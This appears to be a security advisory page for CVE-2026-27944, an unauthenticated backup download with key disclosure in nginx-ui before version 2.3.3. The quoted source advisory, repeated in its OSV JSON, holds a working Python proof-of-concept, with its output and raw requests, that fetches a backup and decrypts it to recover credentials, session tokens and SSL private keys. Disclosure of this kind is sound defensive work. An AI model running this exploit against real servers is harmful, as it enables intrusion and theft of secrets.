CVE-2026-27944: Github.com/0xJacky/Nginx UI Nginx-UI Vulnerable To Unauthenticated Backup Vulnerability
CRITICAL
Advisory Identifier:
GHSA-g9w5-qffc-6762
Advisory Summary
CVE-2026-27944 is a CRITICAL (CVSS 9.8) nginx-ui vulnerable to unauthenticated backup vulnerability (CWE-311: Missing Encryption of Sensitive Data) affecting Github.com/0xJacky/Nginx UI libraries in the Go ecosystem. The issue involves nginx-ui vulnerable to unauthenticated backup download with encryption key disclosure. Remediation is available by upgrading affected packages to version 2.3.3.
CVE-2026-27944 at a Glance
CVE Identifier
CVE-2026-27944
GHSA Identifier
GHSA-g9w5-qffc-6762
Severity
CRITICAL
CVSS v3.1 Base Score
9.8
CWE Classification
CWE-311: Missing Encryption of Sensitive Data
Affected Product
Github.com/0xJacky/Nginx UI
Package Ecosystem
Go
Published Date
Last Updated
Security Impact
CVSS: 9.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
Attack Vector
Network (AV:N)
Attack Complexity
Low (AC:L)
Privileges Required
None (PR:N)
User Interaction
None (UI:N)
Scope
Unchanged (S:U)
Confidentiality
High (C:H)
Integrity
High (I:H)
Availability
High (A:H)
How to Fix CVE-2026-27944
To remediate this vulnerability, upgrade all affected Github.com/0xJacky/Nginx UI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
github.com/0xJacky/Nginx-UI
fixed: 2.3.3
Upgrade github.com/0xJacky/Nginx-UI to 2.3.3
Verify Direct and Transitive Dependencies
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/0xJacky/Nginx-UIHow to Check if You Are Affected
To determine whether your application is affected by CVE-2026-27944, inspect your project dependencies for Github.com/0xJacky/Nginx UI:
inspect dependencies for github.com/0xJacky/Nginx-UIAnalyze the terminal output to locate any version of Github.com/0xJacky/Nginx UI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.3.3), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-311: Missing Encryption of Sensitive Data, where the product does not encrypt sensitive or critical information before storage or transmission. In Github.com/0xJacky/Nginx UI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
## Summary
The `/api/backup` endpoint is accessible without authentication and discloses the encryption keys required to decrypt the backup in the `X-Backup-Security` response header. This allows an unauthenticated attacker to download a full system backup containing sensitive data (user credentials, session tokens, SSL private keys, Nginx configurations) and decrypt it immediately.
## Vulnerability Details
| Field | Value |
|-------|-------|
| CWE | CWE-306: Missing Authentication for Critical Function + CWE-311: Missing Encryption of Sensitive Data |
| Affected File | `api/backup/router.go` |
| Affected Function | `CreateBackup` (lines 8-11 in router, implementation in `api/backup/backup.go:13-38`) |
| Secondary File | `internal/backup/backup.go` |
| CVSS 3.1 | 9.8 (Critical) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
## Root Cause
The vulnerability exists due to two critical security flaws:
### 1. Missing Authentication on /api/backup Endpoint
In `api/backup/router.go:9`, the backup endpoint is registered without any authentication middleware:
```go
func InitRouter(r *gin.RouterGroup) {
r.GET("/backup", CreateBackup) // No authentication required
r.POST("/restore", middleware.EncryptedForm(), RestoreBackup) // Has middleware
}
```
For comparison, the restore endpoint correctly uses middleware, while the backup endpoint is completely open.
### 2. Encryption Keys Disclosed in HTTP Response Headers
In `api/backup/backup.go:22-33`, the AES-256 encryption key and IV are sent in plaintext via the `X-Backup-Security` header:
```go
func CreateBackup(c *gin.Context) {
result, err := backup.Backup()
if err != nil {
cosy.ErrHandler(c, err)
return
}
// Concatenate Key and IV
securityToken := result.AESKey + ":" + result.AESIv // Keys sent in header
// ...
c.Header("X-Backup-Security", securityToken) // Keys exposed to anyone
// Send file content
http.ServeContent(c.Writer, c.Request, fileName, modTime, reader)
}
```
The encryption keys are Base64-encoded AES-256 key (32 bytes) and IV (16 bytes), formatted as `key:iv`.
### 3. Backup Contents
The backup archive (created in `internal/backup/backup.go`) contains:
```go
// Files included in backup:
- nginx-ui.zip (encrypted)
└── database.db // User credentials, session tokens
└── app.ini // Configuration with secrets
└── server.key/cert // SSL certificates
- nginx.zip (encrypted)
└── nginx.conf // Nginx configuration
└── sites-enabled/* // Virtual host configs
└── ssl/* // SSL private keys
- hash_info.txt (encrypted)
└── SHA-256 hashes for integrity verification
```
All files are encrypted with AES-256-CBC, but the keys are disclosed in the response.
## Proof of Concept
### Python script
```python
#!/usr/bin/env python3
"""
POC: Unauthenticated Backup Download + Key Disclosure via X-Backup-Security
Usage:
python poc.py --target http://127.0.0.1:9000 --out backup.bin --decrypt
"""
import argparse
import base64
import os
import sys
import urllib.parse
import urllib.request
import zipfile
from io import BytesIO
try:
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
except ImportError:
print("Error: pycryptodome required for decryption")
print("Install with: pip install pycryptodome")
sys.exit(1)
def _parse_keys(hdr_val: str):
"""
Parse X-Backup-Security header format: "base64_key:base64_iv"
Example: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=:7XdVSRcgYfWf7C/J0IS8Cg==
"""
v = (hdr_val or "").strip()
# Format is: key:iv (both base64 encoded)
if ":" in v:
parts = v.split(":", 1)
if len(parts) == 2:
return parts[0].strip(), parts[1].strip()
return None, None
def decrypt_aes_cbc(encrypted_data: bytes, key_b64: str, iv_b64: str) -> bytes:
"""Decrypt using AES-256-CBC with PKCS#7 padding"""
key = base64.b64decode(key_b64)
iv = base64.b64decode(iv_b64)
if len(key) != 32:
raise ValueError(f"Invalid key length: {len(key)} (expected 32 bytes for AES-256)")
if len(iv) != 16:
raise ValueError(f"Invalid IV length: {len(iv)} (expected 16 bytes)")
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(encrypted_data)
return unpad(decrypted, AES.block_size)
def extract_backup(encrypted_zip_path: str, key_b64: str, iv_b64: str, output_dir: str):
"""Extract and decrypt the backup archive"""
print(f"\n[*] Extracting encrypted backup to {output_dir}")
os.makedirs(output_dir, exist_ok=True)
# Extract the main ZIP (contains encrypted files)
with zipfile.ZipFile(encrypted_zip_path, 'r') as main_zip:
print(f"[*] Main archive contains: {main_zip.namelist()}")
main_zip.extractall(output_dir)
# Decrypt each file
encrypted_files = ["hash_info.txt", "nginx-ui.zip", "nginx.zip"]
for filename in encrypted_files:
filepath = os.path.join(output_dir, filename)
if not os.path.exists(filepath):
print(f"[!] Warning: {filename} not found")
continue
print(f"[*] Decrypting {filename}...")
with open(filepath, "rb") as f:
encrypted = f.read()
try:
decrypted = decrypt_aes_cbc(encrypted, key_b64, iv_b64)
# Write decrypted file
decrypted_path = filepath.replace(".zip", "_decrypted.zip") if filename.endswith(".zip") else filepath + ".decrypted"
with open(decrypted_path, "wb") as f:
f.write(decrypted)
print(f" → Saved to {decrypted_path} ({len(decrypted)} bytes)")
# If it's a ZIP, extract it
if filename.endswith(".zip"):
extract_dir = os.path.join(output_dir, filename.replace(".zip", ""))
os.makedirs(extract_dir, exist_ok=True)
with zipfile.ZipFile(BytesIO(decrypted), 'r') as inner_zip:
inner_zip.extractall(extract_dir)
print(f" → Extracted {len(inner_zip.namelist())} files to {extract_dir}")
except Exception as e:
print(f" ✗ Failed to decrypt {filename}: {e}")
# Show hash info
hash_info_path = os.path.join(output_dir, "hash_info.txt.decrypted")
if os.path.exists(hash_info_path):
print(f"\n[*] Hash info:")
with open(hash_info_path, "r") as f:
print(f.read())
def main():
ap = argparse.ArgumentParser(
description="Nginx UI - Unauthenticated backup download with key disclosure"
)
ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:port")
ap.add_argument("--out", default="backup.bin", help="Where to save the encrypted backup")
ap.add_argument("--decrypt", action="store_true", help="Decrypt the backup after download")
ap.add_argument("--extract-dir", default="backup_extracted", help="Directory to extract decrypted files")
args = ap.parse_args()
url = urllib.parse.urljoin(args.target.rstrip("/") + "/", "api/backup")
# Unauthenticated request to the backup endpoint
req = urllib.request.Request(url, method="GET")
try:
with urllib.request.urlopen(req, timeout=20) as resp:
hdr = resp.headers.get("X-Backup-Security", "")
key, iv = _parse_keys(hdr)
data = resp.read()
except urllib.error.HTTPError as e:
print(f"[!] HTTP Error {e.code}: {e.reason}")
sys.exit(1)
except Exception as e:
print(f"[!] Error: {e}")
sys.exit(1)
with open(args.out, "wb") as f:
f.write(data)
# Key/IV disclosure in response header enables decryption of the downloaded backup
print(f"\nX-Backup-Security: {hdr}")
print(f"Parsed AES-256 key: {key}")
print(f"Parsed AES IV : {iv}")
if key and iv:
# Verify key/IV lengths
try:
key_bytes = base64.b64decode(key)
iv_bytes = base64.b64decode(iv)
print(f"\n[*] Key length: {len(key_bytes)} bytes (AES-256 ✓)")
print(f"[*] IV length : {len(iv_bytes)} bytes (AES block size ✓)")
except Exception as e:
print(f"[!] Error decoding keys: {e}")
sys.exit(1)
if args.decrypt:
try:
extract_backup(args.out, key, iv, args.extract_dir)
except Exception as e:
print(f"\n[!] Decryption failed: {e}")
import traceback
traceback.print_exc()
sys.exit(1)
else:
print("\n[!] Failed to parse encryption keys from X-Backup-Security header")
print(f" Header value: {hdr}")
if __name__ == "__main__":
main()
```
```bash
# Download and decrypt backup (no authentication required)
# pip install pycryptodome
python poc.py --target http://victim:9000 --decrypt
```
```
X-Backup-Security: gnfd8BhrjzrxS7yLRoVvK+fyV9tjS50cfUn/RWuYjGA=:+rLZrXK3kbWFRK3qMpB3jw==
Parsed AES-256 key: gnfd8BhrjzrxS7yLRoVvK+fyV9tjS50cfUn/RWuYjGA=
Parsed AES IV : +rLZrXK3kbWFRK3qMpB3jw==
[*] Key length: 32 bytes (AES-256 ✓)
[*] IV length : 16 bytes (AES block size ✓)
[*] Extracting encrypted backup to backup_extracted
[*] Main archive contains: ['hash_info.txt', 'nginx-ui.zip', 'nginx.zip']
[*] Decrypting hash_info.txt...
→ Saved to backup_extracted/hash_info.txt.decrypted (199 bytes)
[*] Decrypting nginx-ui.zip...
→ Saved to backup_extracted/nginx-ui_decrypted.zip (12510 bytes)
→ Extracted 2 files to backup_extracted/nginx-ui
[*] Decrypting nginx.zip...
→ Saved to backup_extracted/nginx_decrypted.zip (5682 bytes)
→ Extracted 17 files to backup_extracted/nginx
[*] Hash info:
nginx-ui_hash: 7c803b9b8791cebfad36977a321431182b22878c3faf8af544d05318ccb83ad5
nginx_hash: 183458949e54794e1295449f0d6c1175bb92c1ee008be671ee9ee759aad73905
timestamp: 20260129-122110
version: 2.3.2
```
### HTTP Request (Raw)
```http
GET /api/backup HTTP/1.1
Host: victim:9000
```
**No authentication required** - this request will succeed and return:
- Encrypted backup as ZIP file
- Encryption keys in `X-Backup-Security` header
### Example Response
```http
HTTP/1.1 200 OK
Content-Type: application/zip
Content-Disposition: attachment; filename=backup-20260129-120000.zip
X-Backup-Security: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=:7XdVSRcgYfWf7C/J0IS8Cg==
[Binary ZIP data]
```
The `X-Backup-Security` header contains:
- **Key**: `e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=` (Base64-encoded 32-byte AES-256 key)
- **IV**: `7XdVSRcgYfWf7C/J0IS8Cg==` (Base64-encoded 16-byte IV)
<img width="1430" height="835" alt="screenshot" src="https://github.com/user-attachments/assets/a2e23c48-2272-4276-81de-fc700ff05b17" />
## Resources
- [CWE-306: Missing Authentication for Critical Function](https://cwe.mitre.org/data/definitions/306.html)
- [CWE-311: Missing Encryption of Sensitive Data](https://cwe.mitre.org/data/definitions/311.html)
- [OWASP: Broken Authentication](https://owasp.org/www-project-top-ten/2017/A2_2017-Broken_Authentication)
- [OWASP: Sensitive Data Exposure](https://owasp.org/www-project-top-ten/2017/A3_2017-Sensitive_Data_Exposure)
- [NIST: Key Management Guidelines](https://csrc.nist.gov/publications/detail/sp/800-57-part-1/rev-5/final)
CVE-2026-27944 Affected Github.com/0xJacky/Nginx UI Versions
1 component(s)
Fixed Versions:
2.3.3
| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/0xJacky/Nginx-UI
|
Go |
< 2.3.3
|
2.3.3
|
References
GitHub Advisory / Wiki
ADVISORY
https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-g9w5-qffc-6762
NVD — CVE-2026-27944
NVD
https://nvd.nist.gov/vuln/detail/CVE-2026-27944
csrc.nist.gov/publications/detail...
WEB
https://csrc.nist.gov/publications/detail/sp/800-57-part-1/rev-5/final
Github.com/0xJacky/Nginx UI Source Repository
REPOSITORY
https://github.com/0xJacky/nginx-ui
owasp.org/www-project-top-ten...
WEB
https://owasp.org/www-project-top-ten/2017/A2_2017-Broken_Authentication
owasp.org/www-project-top-ten...
WEB
https://owasp.org/www-project-top-ten/2017/A3_2017-Sensitive_Data_Exposure
Frequently Asked Questions
What is CVE-2026-27944?
CVE-2026-27944 is a security vulnerability in Github.com/0xJacky/Nginx UI involving Nginx-UI Vulnerable to Unauthenticated Backup Download with Encryption Key Disclosure under CWE-311: Missing Encryption of Sensitive Data.
Which Github.com/0xJacky/Nginx UI versions are affected?
Affected versions include releases prior to 2.3.3 across affected packages: github.com/0xJacky/Nginx-UI.
What version fixes CVE-2026-27944?
Upgrading to 2.3.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/0xJacky/Nginx-UI affected?
Yes, github.com/0xJacky/Nginx-UI is affected in releases prior to 2.3.3. Upgrade your dependency to 2.3.3 or later.
What is the CVSS score of CVE-2026-27944?
CVE-2026-27944 has a CVSS v3.1 base score of 9.8 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-27944?
CVE-2026-27944 is classified under CWE-311: Missing Encryption of Sensitive Data (The product does not encrypt sensitive or critical information before storage or transmission.).
How can I check Go dependencies for CVE-2026-27944?
Run the dependency tree command: 'inspect dependencies for github.com/0xJacky/Nginx-UI'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON
OSV v1.5 Schema
Normalized schema output
{
"schema_version" : "1.4.0",
"id" : "GHSA-g9w5-qffc-6762",
"modified" : "2026-03-05T22:37:19Z",
"published" : "2026-03-05T18:26:41Z",
"aliases" : [ "CVE-2026-27944" ],
"summary" : "Nginx-UI Vulnerable to Unauthenticated Backup Download with Encryption Key Disclosure",
"details" : "## Summary\n\nThe `/api/backup` endpoint is accessible without authentication and discloses the encryption keys required to decrypt the backup in the `X-Backup-Security` response header. This allows an unauthenticated attacker to download a full system backup containing sensitive data (user credentials, session tokens, SSL private keys, Nginx configurations) and decrypt it immediately.\n\n## Vulnerability Details\n\n| Field | Value |\n|-------|-------|\n| CWE | CWE-306: Missing Authentication for Critical Function + CWE-311: Missing Encryption of Sensitive Data |\n| Affected File | `api/backup/router.go` |\n| Affected Function | `CreateBackup` (lines 8-11 in router, implementation in `api/backup/backup.go:13-38`) |\n| Secondary File | `internal/backup/backup.go` |\n| CVSS 3.1 | 9.8 (Critical) |\n| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |\n\n## Root Cause\n\nThe vulnerability exists due to two critical security flaws:\n\n### 1. Missing Authentication on /api/backup Endpoint\n\nIn `api/backup/router.go:9`, the backup endpoint is registered without any authentication middleware:\n\n```go\nfunc InitRouter(r *gin.RouterGroup) {\n\tr.GET(\"/backup\", CreateBackup) // No authentication required\n\tr.POST(\"/restore\", middleware.EncryptedForm(), RestoreBackup) // Has middleware\n}\n```\n\nFor comparison, the restore endpoint correctly uses middleware, while the backup endpoint is completely open.\n\n### 2. Encryption Keys Disclosed in HTTP Response Headers\n\nIn `api/backup/backup.go:22-33`, the AES-256 encryption key and IV are sent in plaintext via the `X-Backup-Security` header:\n\n```go\nfunc CreateBackup(c *gin.Context) {\n\tresult, err := backup.Backup()\n\tif err != nil {\n\t\tcosy.ErrHandler(c, err)\n\t\treturn\n\t}\n\n\t// Concatenate Key and IV\n\tsecurityToken := result.AESKey + \":\" + result.AESIv // Keys sent in header\n\n\t// ...\n\tc.Header(\"X-Backup-Security\", securityToken) // Keys exposed to anyone\n\n\t// Send file content\n\thttp.ServeContent(c.Writer, c.Request, fileName, modTime, reader)\n}\n```\n\nThe encryption keys are Base64-encoded AES-256 key (32 bytes) and IV (16 bytes), formatted as `key:iv`.\n\n### 3. Backup Contents\n\nThe backup archive (created in `internal/backup/backup.go`) contains:\n\n```go\n// Files included in backup:\n- nginx-ui.zip (encrypted)\n └── database.db // User credentials, session tokens\n └── app.ini // Configuration with secrets\n └── server.key/cert // SSL certificates\n\n- nginx.zip (encrypted)\n └── nginx.conf // Nginx configuration\n └── sites-enabled/* // Virtual host configs\n └── ssl/* // SSL private keys\n\n- hash_info.txt (encrypted)\n └── SHA-256 hashes for integrity verification\n```\n\nAll files are encrypted with AES-256-CBC, but the keys are disclosed in the response.\n\n## Proof of Concept\n\n### Python script\n\n```python\n#!/usr/bin/env python3\n\n\"\"\"\nPOC: Unauthenticated Backup Download + Key Disclosure via X-Backup-Security\n\nUsage:\n python poc.py --target http://127.0.0.1:9000 --out backup.bin --decrypt\n\"\"\"\n\nimport argparse\nimport base64\nimport os\nimport sys\nimport urllib.parse\nimport urllib.request\nimport zipfile\nfrom io import BytesIO\n\ntry:\n from Crypto.Cipher import AES\n from Crypto.Util.Padding import unpad\nexcept ImportError:\n print(\"Error: pycryptodome required for decryption\")\n print(\"Install with: pip install pycryptodome\")\n sys.exit(1)\n\n\ndef _parse_keys(hdr_val: str):\n \"\"\"\n Parse X-Backup-Security header format: \"base64_key:base64_iv\"\n Example: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=:7XdVSRcgYfWf7C/J0IS8Cg==\n \"\"\"\n v = (hdr_val or \"\").strip()\n\n # Format is: key:iv (both base64 encoded)\n if \":\" in v:\n parts = v.split(\":\", 1)\n if len(parts) == 2:\n return parts[0].strip(), parts[1].strip()\n\n return None, None\n\n\ndef decrypt_aes_cbc(encrypted_data: bytes, key_b64: str, iv_b64: str) -> bytes:\n \"\"\"Decrypt using AES-256-CBC with PKCS#7 padding\"\"\"\n key = base64.b64decode(key_b64)\n iv = base64.b64decode(iv_b64)\n\n if len(key) != 32:\n raise ValueError(f\"Invalid key length: {len(key)} (expected 32 bytes for AES-256)\")\n if len(iv) != 16:\n raise ValueError(f\"Invalid IV length: {len(iv)} (expected 16 bytes)\")\n\n cipher = AES.new(key, AES.MODE_CBC, iv)\n decrypted = cipher.decrypt(encrypted_data)\n return unpad(decrypted, AES.block_size)\n\n\ndef extract_backup(encrypted_zip_path: str, key_b64: str, iv_b64: str, output_dir: str):\n \"\"\"Extract and decrypt the backup archive\"\"\"\n print(f\"\\n[*] Extracting encrypted backup to {output_dir}\")\n\n os.makedirs(output_dir, exist_ok=True)\n\n # Extract the main ZIP (contains encrypted files)\n with zipfile.ZipFile(encrypted_zip_path, 'r') as main_zip:\n print(f\"[*] Main archive contains: {main_zip.namelist()}\")\n main_zip.extractall(output_dir)\n\n # Decrypt each file\n encrypted_files = [\"hash_info.txt\", \"nginx-ui.zip\", \"nginx.zip\"]\n\n for filename in encrypted_files:\n filepath = os.path.join(output_dir, filename)\n if not os.path.exists(filepath):\n print(f\"[!] Warning: {filename} not found\")\n continue\n\n print(f\"[*] Decrypting {filename}...\")\n\n with open(filepath, \"rb\") as f:\n encrypted = f.read()\n\n try:\n decrypted = decrypt_aes_cbc(encrypted, key_b64, iv_b64)\n\n # Write decrypted file\n decrypted_path = filepath.replace(\".zip\", \"_decrypted.zip\") if filename.endswith(\".zip\") else filepath + \".decrypted\"\n with open(decrypted_path, \"wb\") as f:\n f.write(decrypted)\n\n print(f\" → Saved to {decrypted_path} ({len(decrypted)} bytes)\")\n\n # If it's a ZIP, extract it\n if filename.endswith(\".zip\"):\n extract_dir = os.path.join(output_dir, filename.replace(\".zip\", \"\"))\n os.makedirs(extract_dir, exist_ok=True)\n with zipfile.ZipFile(BytesIO(decrypted), 'r') as inner_zip:\n inner_zip.extractall(extract_dir)\n print(f\" → Extracted {len(inner_zip.namelist())} files to {extract_dir}\")\n\n except Exception as e:\n print(f\" ✗ Failed to decrypt {filename}: {e}\")\n\n # Show hash info\n hash_info_path = os.path.join(output_dir, \"hash_info.txt.decrypted\")\n if os.path.exists(hash_info_path):\n print(f\"\\n[*] Hash info:\")\n with open(hash_info_path, \"r\") as f:\n print(f.read())\n\ndef main():\n ap = argparse.ArgumentParser(\n description=\"Nginx UI - Unauthenticated backup download with key disclosure\"\n )\n ap.add_argument(\"--target\", required=True, help=\"Base URL, e.g. http://host:port\")\n ap.add_argument(\"--out\", default=\"backup.bin\", help=\"Where to save the encrypted backup\")\n ap.add_argument(\"--decrypt\", action=\"store_true\", help=\"Decrypt the backup after download\")\n ap.add_argument(\"--extract-dir\", default=\"backup_extracted\", help=\"Directory to extract decrypted files\")\n\n args = ap.parse_args()\n\n url = urllib.parse.urljoin(args.target.rstrip(\"/\") + \"/\", \"api/backup\")\n\n # Unauthenticated request to the backup endpoint\n req = urllib.request.Request(url, method=\"GET\")\n\n try:\n with urllib.request.urlopen(req, timeout=20) as resp:\n hdr = resp.headers.get(\"X-Backup-Security\", \"\")\n key, iv = _parse_keys(hdr)\n data = resp.read()\n except urllib.error.HTTPError as e:\n print(f\"[!] HTTP Error {e.code}: {e.reason}\")\n sys.exit(1)\n except Exception as e:\n print(f\"[!] Error: {e}\")\n sys.exit(1)\n\n with open(args.out, \"wb\") as f:\n f.write(data)\n\n # Key/IV disclosure in response header enables decryption of the downloaded backup\n print(f\"\\nX-Backup-Security: {hdr}\")\n print(f\"Parsed AES-256 key: {key}\")\n print(f\"Parsed AES IV : {iv}\")\n\n if key and iv:\n # Verify key/IV lengths\n try:\n key_bytes = base64.b64decode(key)\n iv_bytes = base64.b64decode(iv)\n print(f\"\\n[*] Key length: {len(key_bytes)} bytes (AES-256 ✓)\")\n print(f\"[*] IV length : {len(iv_bytes)} bytes (AES block size ✓)\")\n except Exception as e:\n print(f\"[!] Error decoding keys: {e}\")\n sys.exit(1)\n\n if args.decrypt:\n try:\n extract_backup(args.out, key, iv, args.extract_dir)\n\n except Exception as e:\n print(f\"\\n[!] Decryption failed: {e}\")\n import traceback\n traceback.print_exc()\n sys.exit(1)\n else:\n print(\"\\n[!] Failed to parse encryption keys from X-Backup-Security header\")\n print(f\" Header value: {hdr}\")\n\nif __name__ == \"__main__\":\n main()\n```\n\n```bash\n# Download and decrypt backup (no authentication required)\n# pip install pycryptodome\npython poc.py --target http://victim:9000 --decrypt\n```\n\n```\nX-Backup-Security: gnfd8BhrjzrxS7yLRoVvK+fyV9tjS50cfUn/RWuYjGA=:+rLZrXK3kbWFRK3qMpB3jw==\nParsed AES-256 key: gnfd8BhrjzrxS7yLRoVvK+fyV9tjS50cfUn/RWuYjGA=\nParsed AES IV : +rLZrXK3kbWFRK3qMpB3jw==\n\n[*] Key length: 32 bytes (AES-256 ✓)\n[*] IV length : 16 bytes (AES block size ✓)\n\n[*] Extracting encrypted backup to backup_extracted\n[*] Main archive contains: ['hash_info.txt', 'nginx-ui.zip', 'nginx.zip']\n[*] Decrypting hash_info.txt...\n → Saved to backup_extracted/hash_info.txt.decrypted (199 bytes)\n[*] Decrypting nginx-ui.zip...\n → Saved to backup_extracted/nginx-ui_decrypted.zip (12510 bytes)\n → Extracted 2 files to backup_extracted/nginx-ui\n[*] Decrypting nginx.zip...\n → Saved to backup_extracted/nginx_decrypted.zip (5682 bytes)\n → Extracted 17 files to backup_extracted/nginx\n\n[*] Hash info:\nnginx-ui_hash: 7c803b9b8791cebfad36977a321431182b22878c3faf8af544d05318ccb83ad5\nnginx_hash: 183458949e54794e1295449f0d6c1175bb92c1ee008be671ee9ee759aad73905\ntimestamp: 20260129-122110\nversion: 2.3.2\n```\n\n### HTTP Request (Raw)\n\n```http\nGET /api/backup HTTP/1.1\nHost: victim:9000\n\n```\n\n**No authentication required** - this request will succeed and return:\n- Encrypted backup as ZIP file\n- Encryption keys in `X-Backup-Security` header\n\n### Example Response\n\n```http\nHTTP/1.1 200 OK\nContent-Type: application/zip\nContent-Disposition: attachment; filename=backup-20260129-120000.zip\nX-Backup-Security: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=:7XdVSRcgYfWf7C/J0IS8Cg==\n\n[Binary ZIP data]\n```\n\nThe `X-Backup-Security` header contains:\n- **Key**: `e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=` (Base64-encoded 32-byte AES-256 key)\n- **IV**: `7XdVSRcgYfWf7C/J0IS8Cg==` (Base64-encoded 16-byte IV)\n\n<img width=\"1430\" height=\"835\" alt=\"screenshot\" src=\"https://github.com/user-attachments/assets/a2e23c48-2272-4276-81de-fc700ff05b17\" />\n\n## Resources\n\n- [CWE-306: Missing Authentication for Critical Function](https://cwe.mitre.org/data/definitions/306.html)\n- [CWE-311: Missing Encryption of Sensitive Data](https://cwe.mitre.org/data/definitions/311.html)\n- [OWASP: Broken Authentication](https://owasp.org/www-project-top-ten/2017/A2_2017-Broken_Authentication)\n- [OWASP: Sensitive Data Exposure](https://owasp.org/www-project-top-ten/2017/A3_2017-Sensitive_Data_Exposure)\n- [NIST: Key Management Guidelines](https://csrc.nist.gov/publications/detail/sp/800-57-part-1/rev-5/final)",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/0xJacky/Nginx-UI"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.3.3"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-g9w5-qffc-6762"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-27944"
}, {
"type" : "WEB",
"url" : "https://csrc.nist.gov/publications/detail/sp/800-57-part-1/rev-5/final"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/0xJacky/nginx-ui"
}, {
"type" : "WEB",
"url" : "https://owasp.org/www-project-top-ten/2017/A2_2017-Broken_Authentication"
}, {
"type" : "WEB",
"url" : "https://owasp.org/www-project-top-ten/2017/A3_2017-Sensitive_Data_Exposure"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-306", "CWE-311" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-03-05T18:26:41Z",
"nvd_published_at" : "2026-03-05T19:16:05Z"
}
}